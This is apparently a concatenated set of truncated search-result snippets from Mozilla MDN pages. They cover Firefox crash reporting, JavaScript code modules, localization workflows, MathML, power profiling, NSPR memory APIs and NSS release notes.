...g. the crash report should look something like this report, which is an example of bug 1132241. create a new bug report at bugzilla.mozilla.org using this link. linux and mac on linux and mac (firefox >=27), sending sigabrt to a process will trigger the crash reporter. you can use any process monitoring tool to find the firefox process id (pid). then, in a terminal, kill firefox using a co
mmand such as this: # replace 31042 with the pid of firefox found above kill -n sigabrt 31042 # on osx kill -s sigabrt 31042 the firefox crash report ui should appear. please check the box to send the crash report to mozilla start firefox. type "about:crashes" in the url bar and click on the top listing. create a new bug report at bugzilla.mozilla.org using this link. all os as long as yo...
Assert.jsm
the assert.jsm javascript code module implements the co
mmonjs unit testing specification version 1.1, which provides a basic, standardized interface for performing in-code logical assertions with optional, customizable error reporting. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://testing-co
mmon/assert.jsm"); the assert class offers methods for performing co
mmon logical assertions. method overview undefined ok(value, message); undefined equal(actual, expected, message); undefined notequal(actual, expected, message); undefined deepequal(actual, expected, message); undefined notdeepequal(actual, expected, message); undefined strictequal(actual, expected, message); ...
...xpected, message, operator ); parameters failed indicates if the assertion failed or not actual the result of evaluating the assertion expected expected result from the test author message short explanation of the expected result operator operation qualifier used by the assertion method (ex: '==') examples custom reporter example components.utils.import("resource://testing-co
mmon/assert.jsm"); let assert = new assert(); assert.setreporter(function customreporter(err, message, stack) { if (err) { do_report_result(false, err.message, err.stack); } else { do_report_result(true, message, stack); } }); ...
OS.File for the main thread
} }, function onfailure(reason) { if (reason instanceof os.file.error && reason.becausenosuchfile) { // the file does not exist } else { // some other error throw reason; } } ); example: copy a file by chunks the following snippet writes a (presumably large) buffer by chunks. note that this snippet is useful as a demonstration of complex asynchronous progra
mming with os.file – in most cases, function os.file.writeatomic is a better choice. let writestream = function writestream(data, outfile, chunksize) { let view = new uint8array(data); let loop = function loop(pos) { // define a recursive asynchronous loop. if (pos <= view.bytelength) { // note: should this be pos >= view.bytelength ? return...
...mplete, rename the file to replace path. performing this operation is a little slower but also a little safer. firefox 25 note tmppath is required in firefox 24 or lower version, but optional in firefox 25 or higher version nooverwrite if specified and true, and if path already exists, this function will throw an error without overwriting path. flush if false or unspecified, return i
mmediately once the write is complete. if true, before writing, force the operating system to write its internal disk buffers to the disk. this is considerably slower (not just for the application but for the whole system) and more battery expensive but also safer: if the system shuts down improperly (typically due to a kernel freeze or a power failure) or if the device is disconnected before the bu...
SourceMap.jsm
ated js and source map. new sourcenode(line, column, source[, chunk]) line: the original line number associated with this source node, or null if it isn't associated with an original line. column: the original column number associated with this source node, or null if it isn't associated with an original column. source: the original source's filename. chunk: optional. is i
mmediately passed to sourcenode.prototype.add, see below. sourcenode.prototype.add(chunk) add a chunk of generated js to this source node. chunk: a string snippet of generated js code, another instance of sourcenode, or an array where each member is one of those things. sourcenode.prototype.prepend(chunk) prepend a chunk of generated js to this source node. chunk: a string snippet of g...
...ts original associated source's line/column location. fn: the traversal function. sourcenode.prototype.join(sep) like array.prototype.join except for sourcenodes. inserts the separator between each of this source node's children. sep: the separator. sourcenode.prototype.replaceright(pattern, replacement) call string.prototype.replace on the very rightmost source snippet. useful for tri
mming whitespace from the end of a source node, etc. pattern: the pattern to replace. replacement: the thing to replace the pattern with. sourcenode.prototype.tostring() return the string representation of this source node. walks over the tree and concatenates all the various snippets together to one string. sourcenode.prototype.tostringwithsourcemap(startofsourcemap) returns the ...
Task.jsm
statement without any arguments. note: if you want to return a result from a non-legacy generator function, don't use this. return the value instead: task.spawn( function*() { yield ... ; return "value"; } methods async() create and return an "async function" that starts a new task. ...
...an "async function" that starts a new task. function async( atask ); async() is similar to spawn(), except that: it doesn't i
mmediately start the task, rather it returns an "async function" that starts the task when the function is called; it binds the task to the async function's this object and arguments; it requires the task to be a function. ...
JavaScript code modules
how to use code modules. mozilla labs js modules this page features a list of javascript modules, along with download links and documentation, that extension developers can use in their code. standard code modules addonmanager.jsm an interface to install, manage, and uninstall add-ons. addonrepository.jsm provides a search of add-ons in the repository. assert.jsm implements the co
mmonjs unit testing specification version 1.1, which provides a basic standardized interface for performing in-code logical assertions with optional, customizable error reporting. bookmarkhtmlutils.jsm provides utility functions for importing and exporting bookmarks from the old-school "bookmarks.html" style bookmark files. ctypes.jsm provides an interface that allows javascript code to call nat...
...ocalize to a specific plural rule. popupnotifications.jsm gives an easy way to present non-modal notifications to users. promise.jsm implements the promises/a+ proposal as known in april 2013. promiseworker.jsm a version of chromeworker which uses promises to return the worker's result instead of using an event to do so. services.jsm provides getters for conveniently obtaining access to co
mmonly-used services. source-editor.jsm the source editor is used by developer tools such as, the style editor; this interface implements the editor and lets you interact with it. sqlite.jsm a promise-based api to mozistorage/sqlite. task.jsm implements a subset of task.js to make sequential, asynchronous operations simple, using the power of javascript's yield operator. timer.jsm a pure js ...
Mozilla Content Localized in Your Language
the week, sunday or monday? is lunar calendar observed? other regional calendar observed? time format how is time expressed in your language? including 0-24 hr expression, hour, minute and second. percentages how are percentages expressed in your language? digit groups how are digit groups expressed in your language? example: 1.23 (decimal separator) or 1,000 (thousand separator) using co
mma or period. acronyms do you translate widely accepted acronyms such as cd, dvd, mb? if translated, is there an equavilent acronym and widely accepted in the language? gender are there exceptions to standard gender conventions within your language? if so, what are they? tone/register what is the appropriate tone for your translations? does it vary by product and target audience? if so, how...
...nd the first letter of any proper nouns. limit to one or two words. note: if this doesn't apply to your language, indicate so as n/a. articles -- avoid them articles (such as the word "the" in english) should be avoided wherever possible. user interface elements have limited space available for text. avoiding articles will help ensure that your translations will be acco
mmodated within the user interface. note: if this doesn't apply to your language, indicate so as n/a. ellipsis ellipsis are often inserted automatically in the ui where strings are truncated. ellipsis should only be used at high level of ui pages, but not be on the final page (after a series of click-through) where detailed instruction is given. ellipsis should ...
Patching a Localization
g clone http://hg.mozilla.org/releases/l10n/mozilla-aurora/gl now that you have the code and your working directory, edit the dtd and properties files to make your necessary changes. creating a l10n patch you've made your changes, now create your patch. navigate to your working localization directory. cd ~/localization-workdir/gl create a patch (also known as a diff) using the diff co
mmand. hg diff this co
mmand creates a patch and lists your modifications through displaying the differences in a unified patch's files. these modifications are printed to stdout (standard output). visually inspect your modifications. a good patch only contains those changes that you intended to make. if it contains more, you'll likely regress something else. alternatively, you can select ...
...cations through displaying the differences in a unified patch's files. these modifications are printed to stdout (standard output). visually inspect your modifications. a good patch only contains those changes that you intended to make. if it contains more, you'll likely regress something else. alternatively, you can select specific files for diff to evaluate and print (see below). the co
mmand will only print the differences found in the selected files. hg diff browser/chrome/browser/browser.dtd attach the patch to an existing bug for reference or review or create a new one if one doesn't currently exist. hg diff > path/to/patchfile ...
Uplifting a localization from Central to Aurora
so yes, yo...
...ko20b11_2011020209_relbranch d68e647ac3c0fee709c13abb0f03fac24a1a5d29 gecko20b11pre_20110126_relbranch 7ff37dc6837669363a51ad3fd2874ac845d312d5 gecko20b10_2011012115_relbranch 6c31fe9bc065a86aea2223ba48698f18ae7563ad gecko20b9_2011011018_relbranch here you can see that there are two changesets without a branch. so yes, you need to merge those two. hg merge if this just passes, you want to co
mmit, and you probably want to use a co
mmit message like "merging central and aurora". you can safely push this to l10n-central already, in particular if you don't plan to do further updates on aurora. you don't want to push this to aurora before there's been the notification that the status of aurora has been lifted up to beta. if hg merge starts asking you questions, you have a merge conflict. tha...
MathML3Testsuite
the pages below contain our current results of the mathml 3 full testsuite for presentation mathml. the sections are marked with passed, failed, not-tested or some parts pass, giving the status of trunk builds with the appropriate fonts installed. when the markup is intentionally errorous, the correct behavior is not defined by the reco
mmendation and hence the tests are considered passed if there is no fatal error (crash, etc). this exception also holds for obsolete features (such as macro, mode etc) or for other undefined behaviors (attribute href for example). note that in general, comparing with the "sample rendering" is not enough to conclude on the success/failure of the test. so please do not edit these pages if you are not able to explain gecko's rendering. however, any repo...
... ...
Mozilla MathML Status
mpadded implemented. mphantom implemented. mfenced implemented. menclose implemented. script and limit schemata element [- attribute] notes msub implemented. msup implemented. msubsup implemented. munder implemented. mover implemented. munderover implemented.
mmultiscripts implemented. tabular math element [- attribute] notes mtable implemented. mtable - alignmentscope not implemented. see bug 122253. mtable - columnspacing, rowspacing, framespacing implemented. see bug 330964. mtable - columnwidth not implemented. see bug 958953. mtable - equalrows, equalcolumns not impleme...
...ph not implemented. see bug 297465. maction implemented. maction - tooltip not implemented. see bug 544001. semantics implemented. original document information author(s): frédéric wang other contributors: copyright information: portions of this content are © 2010 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
MathML Demo: <mtable> - tables and matrices
55555 666666 x 2 a b c 7777777 11 cols arg is "r|cl". mathml doesn't specify how to only display certain sides of the table border, as in "|rcl", but these can be obtained in mozilla using the 'border' property of css, e.g., "|rcl" can be achieved with the css declaration "mtable { border-left: solid thin }". math axis test, using externally aligned arrays inside sy
mmetric fences. ---... [ 1 666666 x 2 c axis ] [ 1 666666 x 2 c center ] + ⌊ 1 55555 x + 1 c bottom ⌋ + ⌈ 1 4444 x c top ⌉ + ∥ 1 4444 4444 4444 x center ∥ post text. now for a display ---... 1 4444 4444 4444 x 7777777 text after display...
... α β γ δ ) ...--- , and with this one which has align="center -1" ---... d+p ( α β γ δ ) ...--- , but note that setting the baseline relative to a particular row is meaningless if the row doesn't have at least one cell with "rowalign=baseline" where to anchor the baseline (in which case mozilla will behave as if it was align="center#rownumber"). these may sound like gi
mmicks until you want to get a damping effect such as this ---... ab ab ab ab ab ab , or perhaps the reverse ---... ab ab ab ab ab ab , modulo pixel roundoff errors. here 'a' and 'b' can be other combinations of possibly irregular boxes. and making floating elements do a multiplication such as the following one which is anchored at a baseline i...
Mozilla projects on GitHub
private code. kitsune kitsune is the platform that drives the mozilla support web site, sumo. kuma the django project that powers this site (mdn). mdn code samples for the mdn web site. mozbrick the mozilla brick project. mozilla-b2g the firefox os project. mozilla-appmaker the appmaker project -- a web tool to let non-progra
mmers create apps. mozilla-l10n scripts and tools used by the localization drivers. mozilla-metrics tools used to collect metrics about mozilla code. mozilla-services mozilla cloud services projects. opennews the knight-mozilla open news project, helping the journalism/technology co
mmunity do great work through shared knowledge and code. pluot...
...ozilla-metrics tools used to collect metrics about mozilla code. mozilla-services mozilla cloud services projects. opennews the knight-mozilla open news project, helping the journalism/technology co
mmunity do great work through shared knowledge and code. pluotsorbet a j2me-compatible virtual machine written in javascript. rust-lang the rust progra
mming language, designed for safe concurrent code. servo the next-generation rendering engine. ...
Mozilla Quirks Mode Behavior
for line-height and any other properties where they have distinct meaning, and except in shorthands). in quirks mode, the css parser allows {} around the contents of style attributes (bug 99554). this behavior is being removed in firefox 27, for interoperability. (bug 915053) an empty string for the background attribute sets the background url to empty only in quirks mode. the topmargin, botto
mmargin, leftmargin, and rightmargin attributes on body are supported only in quirks mode (bug 9258). obsolete since gecko 35 (firefox 35.0 / thunderbird 35.0 / seamonkey 2.32) (bug 95530) this quirk is now html5 conform and has been adopted in standards mode. the scrollleft, scrolltop, scrollwidth, and scrollheight properties are relative to body in quirks mode (instead of html) (bug 211030). ...
...(firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) this quirk has been adopted in standards mode now. frames in quirks mode marginwidth and marginheight on a frame are propagated to the contained body. in a frameset cols/rows specification 0* is treated as 1* (see bug 40383). obsolete the scrolling attribute on frame is handled differently. html parser in quirks mode, we parsed html co
mments in a non-sgml way compatible with other browsers instead of treating "--" as the co
mment start and end delimiter. obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this quirk is now html5 conform and has been adopted in standards mode. original document information author(s): david baron, boris zbarsky see also mozilla's quirks mode ...
Intel Power Gadget
. understanding the power gadget output the following screenshot (from the mac version) demonstrates the available measurements. the three panes display the following information: power: shows power estimates for the package and the cores ("ia"). these are reasonably useful for power profiling purposes, but mozilla's rapl utility provides these along with gpu and ram estimates, and in a co
mmand-line format that is often easier to use. frequency: shows operating frequency measurements for the cores ("ia") and the gpu ("gt"). these measurements aren't particularly useful for power profiling purposes. temperature: shows the package temperature. this is interesting, but again not useful for power profiling purposes. specificially, the temperature is a proxy measurement that is affected...
...to a file. this feature has been used in energia, roberto vitillo's tool for systematically measuring differential power usage between different browsers. (an energia dashboard can be seen here; please note that the data has not been updated since early 2014.) version 3.0 (available on mac and windows, but not on linux) also exposes an api from which the same measurements can be extracted progra
mmatically. at one point the gecko profiler used this api on windows to implement experimental package power estimates. unfortunately, the gecko profiler takes 1000 samples per second on desktop and is cpu intensive and so is likely to skew the rapl estimates significantly, so the api integration was removed. the api is otherwise unlikely to be of interest to mozilla developers. ...
Leak Gauge
ting file called nspr.log. the browser will run with negligible slowdown. you must exit the browser before post-processing the log file or the results will be unreliable. post-processing a log file post-process the log file with tools/leak-gauge/leak-gauge.pl or tools/leak-gauge/leak-gauge.html. if there are no leaks, output will look like the following. ...
...
mmary: leaked 0 out of 11 dom windows leaked 0 out of 44 documents leaked 0 out of 3 docshells leaked content nodes in 0 out of 0 documents if there are leaks, output will look like the following. results of processing log leak2.log : leaked outer window 2c6e410 at address 2c6e410. leaked outer window 2c6ead0 at address 2c6ead0. leaked inner window 2c6ec80 (outer 2c6ead0) at address 2c6ec80. su
mmary: leaked 13 out of 15 dom windows leaked 35 out of 46 documents leaked 4 out of 4 docshells leaked content nodes in 42 out of 53 documents if you see such a results, please file a bug. ...
dtrace
dtrace is a powerful mac os x kernel instrumentation system that can be used to profile wakeups. this article provides a light introduction to it. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. invocation dtrace must be invoked as the super-user. a good starting co
mmand for profiling wakeups is the following. sudo dtrace -n 'mach_kernel::wakeup { @[ustack()] = count(); }' -p $firefox_pid > $output_file let's break that down further. the -n option combined with the mach_kernel::wakeup selects a probe point. mach_kernel is the module name and wakeup is the probe name. you can see a complete list of probes by running sudo dtrace -l. the code between the braces is run when th...
...he mach_kernel::wakeup selects a probe point. mach_kernel is the module name and wakeup is the probe name. you can see a complete list of probes by running sudo dtrace -l. the code between the braces is run when the probe point is hit. the above code counts unique stack traces when wakeups occur; ustack is short for "user stack", i.e. the stack of the userspace program executing. run that co
mmand for a few seconds and then hit ctrl + c to interrupt it. dtrace will then print to the output file a number of stack traces, along with a wakeup count for each one. the ordering of the stack traces can be non-obvious, so look at them carefully. sometimes the stack trace has less information than one would like. it's unclear how to improve upon this. ...
turbostat
turbostat is a linux co
mmand-line utility that prints various measurements, including numerous per-cpu measurements. this article provides an introduction to using it. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. ...
...g numerous per-cpu measurements. this article provides an introduction to using it. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. ...
Phishing: a short definition
emble the trusted website's login page very closely, and convince users to enter their credentials, letting others hijack their account. past and current countermeasures various technical, and social approaches, exist to combat phishing attacks. none of these are sufficient by themselves, so we see a mix of these deployed by various services. the following is a non-exhaustive list of the most co
mmon approaches. shifting blame to users some quick-to-implement, and cost-effective solutions, hold users accountable for their actions instead of restricting what’s technically possible. earlier responses by affected banks, and payment providers, was to attempt educating users to not click links in emails, along with requesting to verify email legitimacy through checking for relevant personal ...
...fido 2.0 keys, once made available. verification via text message if a service supports verification, via sms, it sends a text message with a one-time pin to the user’s phone number. the user then enter this pin after the web service verifies the username and password. this was chosen as an early second factor 'protocol' as text messages are widely supported, however, even nist no longer reco
mmends sms verification. the ss7 telephony system is vulnerable, making eavesdropping, or rerouting text messages quite trivial. one-time password algorithms a better way to use phones as second factor, are one-time password (otp) protocols, like totp and hotp. at service registration, the provider will often generate a qr code to be read by an otp app. this qr code is nothing more than a random, ...
Productization guide
the web services that make up the productization of mozilla software are often specific to a local market. for example, a search provider can deliver a very good quality of search results — but only in a specific country or language, and we have to take this into account when considering default search engines for a locale. hence there is a need to customize the set of default web services on a per-locale basis in order to ensure a good user experience across all locales. ...
...in new profiles in firefox helps in learning about the live bookmarks. including a couple of search engines instead of one in the search toolbar can help users understand that they can add as many plug-ins as they wish. this guide will walk you through the steps to successfully productizing your localization. the first page will cover performing research and preparing to submit productization reco
mmendations. the following (and last) page will cover the technical steps to creating and submitting productization patches. next » ...
Debugging out-of-memory problems
by the time about:memory is loaded in a new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose. this article explains how to debug such problems. out-of-memory exceptions from js setting memory.dump_reports_on_oom in about:config to true will cause the browser to automatically write about:memory dumps to a temp file printed to the browser console (note: not web console) when an oom crash is encountered. for more information, see bug 969415. ...
...: not web console) when an oom crash is encountered. for more information, see bug 969415. out-of-memory crashes in some cases, running out of memory causes the browser to crash. ideally, memory.dump_reports_on_oom would generate an about:memory dump, but it does not currently. firefox android on firefox android, an about:memory dump may be triggered from a connect desktop machine with the co
mmand: adb shell am broadcast -a org.mozilla.gecko.memory_dump the location of the dump file will be printed to the android log (viewed with adb logcat | grep geckoconsole) and can be retrieved via adb pull. note: replace "/storage/emulated/0/download/" in the reported file path with the device's download path (e.g. "/sdcard/download/") when calling adb pull. ...
Emscripten
emscripten, go to the official emscripten wiki. using emscripten, you can compile c and c++ code into javascript compile any other code that can be translated into llvm bytecode into javascript. compile the c/c++ runtimes of other languages into javascript, and then run code in those other languages in an indirect way (this has been done for python and lua)! emscripten makes native code i
mmediately available on the web: a platform that is standards-based, has numerous independent compatible implementations, and runs everywhere from pcs to ipads. with emscripten, c/c++ developers don’t have the high cost of porting code manually to javascript — or having to learn javascript at all. web developers also benefit, as they can use the many thousands of pre-existing native utilities a...
...ripten generates fast code — its default output format is asm.js , a highly optimizable subset of javascript that can execute at close to native speed in many cases. note: sound interesting? read more about emscripten and try some demos, then get started with using it. other articles of interest on mdn our games zone contains some useful content related to games development, which is a co
mmon area of use for emscripten. our emscripten techniques page is a place to store useful emscripten-related ideas that haven't made it onto the emscripten wiki. ...
AsyncTestUtils extended framework
g addmessage, although we try and approximate what would happen with pop in terms of still invoking filters and such. imap injection, do not bring messages offline let inboxfolder = configure_message_injection({mode: "imap", offline: false}); use an imap fake-server to inject messages. ...
... creating / injecting messages all of these functions take synthetic set definitions. look at the section on synthetic message sets above to understand how to specify these. ...
MailNews
asynctestutils extended framework the asynctestutils extended framework is one mechanism for testing the mailnews component of thunderbird. ...
... asynctestutils extended framework the asynctestutils extended framework is one mechanism for testing the mailnews component of thunderbird. ...
NSPR release procedure
ibutions in a different format. before you run repackage.sh, you need to have built the binary distributions using the "gmake release" makefile target. these binary distributions are jar files, which are really zip files, and they are published in the directory /share/builds/components. this design comes from the netscape days. the repackage.sh script repackages the jar files into the form most co
mmonly used on that platform. so on unix it repackages the jar files into gzipped tar files, and on windows it repackages the jar files into zip files. edit the repackage.sh script to customize it for your environment. after you have run repackage.sh, follow the instructions in to upload the files to ftp.mozilla.org's staging server, so that they eventually show up on ftp.mozilla.org. the host ftp.m...
...ipped tar files, and on windows it repackages the jar files into zip files. edit the repackage.sh script to customize it for your environment. after you have run repackage.sh, follow the instructions in to upload the files to ftp.mozilla.org's staging server, so that they eventually show up on ftp.mozilla.org. the host ftp.mozilla.org can be accessed via the ftp, http, and https protocols. we reco
mmend using https://ftp.mozilla.org/. note: for nss, the script equivalent to nspr's repackage.sh is /u/robobld/bin/sbsinit/nss/push/buildbindist.sh in the "svbuild" source tree. ...
Anonymous Shared Memory
lemap object. ... see the examples below. both sides should adhere strictly to the protocol for proper operation. the pseudo-code below shows the use of a file-mapped shared memory by a parent and child processes. in the examples, the server creates the file-mapped shared memory, the client attaches to it. first protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); addr = pr_me
mmap(fm); attr = pr_newprocessattr(); pr_processattrsetinheritablefilemap( attr, fm, shmname ); pr_createprocess(client); pr_destroyprocessattr(attr); ... yadda ... pr_memunmap( addr ); pr_closefilemap(fm); client: ... started by server via pr_createprocess() fm = pr_getinheritedfilemap( shmname ); addr = pr_me
mmap(fm); ... yadda ... pr_memunmap(addr); pr_closefilemap(fm); second protocol serv...
...ient); pr_destroyprocessattr(attr); ... yadda ... pr_memunmap( addr ); pr_closefilemap(fm); client: ... started by server via pr_createprocess() fm = pr_getinheritedfilemap( shmname ); addr = pr_me
mmap(fm); ... yadda ... pr_memunmap(addr); pr_closefilemap(fm); second protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); fmstring = pr_exportfilemapasstring( fm ); addr = pr_me
mmap(fm); ... application specific technique to pass fmstring to child ... yadda ... server uses his own magic to create child pr_memunmap( addr ); pr_closefilemap(fm); client: ... started by server via his own magic ... application specific technique to find fmstring from parent fm = pr_importfilemapfromstring( fmstring ) addr = pr_me
mmap(fm); ... yadda ... pr_memunmap(addr); pr_closefilemap(fm)...
Dynamic Library Linking
it also provides a method by which to condition symbols of statically linked code so that to other clients it appears as though they are dynamically loaded. library linking types these data types are defined for dynamic library linking: prlibrary prstaticlinktable library linking functions the library linking functions are: pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main executable program pr_loadlibrary cannot open a handle that references the main executable program. ...
...n call pr_findsymbol on lib to look up other symbols defined in the main program. remember to call pr_unloadlibrary(lib) to close the library handle when you are done. platform notes to use the dynamic library loading functions on some platforms, certain environment variables must be set at run time, and you may need to link your executable programs using special linker options. this section su
mmarizes these platform idiosyncrasies. for more information, consult the man pages for ld and dlopen (or shl_load on hp-ux) for unix, and the loadlibrary documentation for win32. dynamic library search path exporting symbols from the main executable program dynamic library search path the dynamic library search path is the list of directories in which to look for a dynamic library. each plat...
Named Shared Memory
the nspr shared memory api provides a cross-platform named shared-memory interface that is modeled on similar constructs in the unix and windows operating systems. shared memory protocol named shared memory functions shared memory protocol using named shared memory functions pr_opensharedmemory creates the shared memory segment, if it does not already exist, or opens a connection with the existing shared memory segment if it already exists. ...
...irectories should have permissions appropriate for writing. limits on shared memory resources different platforms have limits on both the number and size of shared memory resources. the default system limits on some platforms may be smaller than your requirements. these limits may be adjusted on some platforms either via boot-time options or by setting the size of the system paging space to acco
mmodate more and/or larger shared memory segment(s). security considerations on unix platforms, depending on implementation, contents of the backing store for the shared memory can be exposed via the file system. set permissions and or access controls at create and attach time to ensure you get the desired security. on windows platforms, no special security measures are provided. named shared me...
PRLinger
olarity polarity of the option's setting: pr_false means the option is off, in which case the value of linger is ignored. pr_true means the option is on, and the value of linger will be used to determine how long pr_close waits before returning. linger time (in printervaltime units) to linger before closing if any data remain in the socket send buffer. ...
... if polarity is set to pr_true and linger is set to 0 (pr_interval_no_wait), the runtime aborts the connection when it is closed and discards any data remaining in the socket send buffer. ...
NSPR release process
set the nspr version number. five files need to be updated: configure.in, configure, repackage.sh, prinit.h, and vercheck.c. look at their cvs histories for examples. make a du
mmy change (add or remove a blank line) to mozilla/nsprpub/config/prdepend.h. make sure the nss tinderboxes (which also build and test nspr) are all green. the build+test cycles of the nss tinderboxes are very long, so you usually need to wait half a day for them to cycle through. create a beta cvs tag. the naming convention is nspr_x_y_z_betan for nspr x.y.z beta n. ...
...very long, so you usually need to wait half a day for them to cycle through. create a beta cvs tag. the naming convention is nspr_x_y_z_betan for nspr x.y.z beta n. push the beta tag to mozilla-central for testing in firefox trunk builds. ideally you should test it for a week. remove "beta" from the nspr version number for the final release. usually you just need to update prinit.h. make a du
mmy change (add or remove a blank line) to mozilla/nsprpub/config/prdepend.h. create a rtm cvs tag. the naming convention is nspr_x_y_z_rtm for nspr x.y.z. upload a source tar file to https://ftp.mozilla.org/pub/mozilla....nspr/releases/ write the release notes. announce the release in the mozilla nspr newsgroup. ...
Getting Started With NSS
firefox and other applications that make use of nss? we are looking forward to your contributions! we have a large list of tasks waiting for attention, and we are happy to assist you in identifying areas that match your interest or skills. you can find us on mozilla irc in channel #nss or you could ask your questions on the mozilla.dev.tech.crypto newsgroup. the nss library and its supporting co
mmand line tools are written in the c progra
mming language. its build system and the automated tests are based on makefiles and bash scripts. over time, many documents have been produced that describe various aspects of nss. you can start with: the current primary nss documentation page from which we link to other documentation. a general overview of the applications that use nss and the featur...
...ing the nss sources, building, and testing. old documentation that is on the archived mozilla.org website. (unfortunately the nss project doesn't have a technical writer at this time, so our documentation is not as organized as we would like it to be. you could contribute by organizing it in a better way.) nss sample code a good place to start learning how to write nss applications are the co
mmand line tools that are maintained by the nss developers. you can find them in subdirectory mozilla/security/nss/cmd or have a look at some basic nss sample code. a new set of samples is currently under development and review, see create new nss samples. you are welcome to download the samples via: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch how to contribute...
JSS FAQ
g/mozilla/jss/ssl/sslserver.java org/mozilla/jss/ssl/ssltest.java other test code that may prove useful: org/mozilla/jss/asn1/integer.java org/mozilla/jss/asn1/sequence.java org/mozilla/jss/asn1/set.java org/mozilla/jss/pkcs10/certificationrequest.java org/mozilla/jss/pkcs12/pfx.java org/mozilla/jss/pkix/cert/certificate.java org/mozilla/jss/pkix/c
mmf/certrepcontent.java org/mozilla/jss/pkix/crmf/certreqmsg.java org/mozilla/jss/pkix/crmf/certtemplate.java org/mozilla/jss/pkix/primitive/name.java org/mozilla/jss/provider/javax/crypto/jsssecretkeyfactoryspi.java org/mozilla/jss/util/utf8converter.java org/mozilla/jss/util/base64inputstream.java jss/samples/pqggen.java jss/samples/pkcs12.java i...
... which application you are running. in jss, the token is called "internal key storage token". you can look it up by name using cryptomanager.gettokenbyname(), but a better way is to call cryptomanager.getinternalkeystoragetoken(), which works no matter what the token is named. in general, a key is a handle to an underlying object on a pkcs #11 token, not merely a java object residing in memory. sy
mmetric key usage: basically encrypt/decrypt is for data and wrap/unwrap is for keys. jss 3.2 has jca support. when will jss have jsse support? not in the near future due to pluggability is disabled in the jsse version included in j2se 1.4.x for export control reasons. ...
NSS 3.14 release notes
these changes have the observed effect of doubling rsa performance. bug 792681 - new default cipher suites the default cipher suites in nss 3.14 have been changed to better reflect the current security landscape. the defaults now better match the set that most major web browsers enable by default. bug 783448 - when performing an ssl renegotiation, the client_versi...
...nabled (but is discouraged) by setting the environment variable of "nss_hash_alg_support=+md5" or by using the nss_setalgorithmpolicy function. note that ssl cipher suites with "md5" in their names are not disabled by this change; those cipher suites use hmac-md5, not plain md5, and are still considered safe. maximum key sizes for rsa and diffie-hellman keys have been increased to 16k bits. co
mmand line utilities tstclnt, strsclnt, and selfserv have changed. the old options to disable ssl 2, ssl 3 and tls 1.0 have been removed and replaced with a new -v option that specifies the enabled range of protocol versions (see usage output of those tools). bugs fixed in nss 3.14 this bugzilla query returns all the bugs fixed in nss 3.14: https://bugzilla.mozilla.org/buglist.cgi?list_id=4643675;r...
NSS 3.18 release notes
download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_rtm/src/ new in nss 3.18 new functionality when importing certificates and keys from a pkcs#12 source, it's now possible to override the nicknames, prior to importing them into the nss database, using new api sec_pkcs12decoderrenamecertnicknames. the tstclnt test utility program has new co
mmand-line options -c, -d, -b and -r. use -c one, two or three times to print information about the certificates received from a server, and information about the locally found and trusted issuer certificates, to diagnose server side configuration issues. it is possible to run tstclnt without providing a database (-d). a pkcs#11 library that contains root ca certificates can be loaded by tstclnt, ...
...:c8:d4:72:24:65:84:fe:40:3b:8a:8d:6a:db:f5 the following ca certificates were added cn = staat der nederlanden root ca - g3 sha1 fingerprint: d8:eb:6b:41:51:92:59:e0:f3:e7:85:00:c0:3d:b6:88:97:c9:ee:fc cn = staat der nederlanden ev root ca sha1 fingerprint: 76:e2:7e:c1:4f:db:82:c1:c0:a6:75:b5:05:be:3d:29:b4:ed:db:bb cn = identrust co
mmercial root ca 1 sha1 fingerprint: df:71:7e:aa:4a:d9:4e:c9:55:84:99:60:2d:48:de:5f:bc:f0:3a:25 cn = identrust public sector root ca 1 sha1 fingerprint: ba:29:41:60:77:98:3f:f4:f3:ef:f2:31:05:3b:2e:ea:6d:4d:45:fd cn = s-trust universal root ca sha1 fingerprint: 1b:3d:11:14:ea:7a:0f:95:58:54:41:95:bf:6b:25:82:ab:40:ce:9a cn = entrust ...
NSS 3.35 release notes
er count, for better performance in test environments. as a reminder, debug builds should not be used for production purposes. nss 3.30 had introduced a regression, preventing nss from reading some aes encrypted data, produced by older versions of nss. nss 3.35 fixes this regression and restores the ability to read affected data. ...
...gn class 3 secure server ca - g2 sha-256 fingerprint: 0a:41:51:d5:e5:8b:84:b8:ac:e5:3a:5c:12:12:2a:c9:59:cd:69:91:fb:b3:8e:99:b5:76:c0:ab:da:c3:58:14 this intermediate cert had been directly included to help with transition from 1024-bit roots per bug #1045189. ...
NSS 3.47 release notes
bug 1542207 - limit policy check on signature algorithms to known algorithms bug 1560329 - drbg: add continuous self-test on entropy source bug 1579290 - asan builds should disable lsan while building bug 1385061 - build nspr tests with nss make; add gyp parameters to build/run nspr tests bug 1577359 - build atob and bt...
...bird bug 1579036 - confusing error when trying to export non-existent cert with pk12util bug 1578626 - [cid 1453375] ub: decrement nullptr. bug 1578751 - ensure a consistent style for pk11_find_certs_unittest.cc bug 1570501 - add cmac to freebl and pkcs #11 libraries bug 657379 - nss uses the wrong oid for signaturealgorithm field of signerinfo in cms for dsa and ecdsa bug 1576664 - remove -
mms-bitfields from mingw nss build. bug 1577038 - add pk11_getcertsfromprivatekey to return all certificates with public keys matching a particular private key this bugzilla query returns all the bugs fixed in nss 3.47: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.47 compatibility nss 3.47 shared librar...
NSS Sample Code Utilities_1
this code shows the following: extract seed from noise file read der encoding from a file extract the password from a text file get the module password print as ascii or hexadecimal sample code #include <prlog.h> #include <termios.h> #include <base64.h> #include <unistd.h> #include <sys/stat.h> #include <prprf.h> #include "util.h" /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications. ...
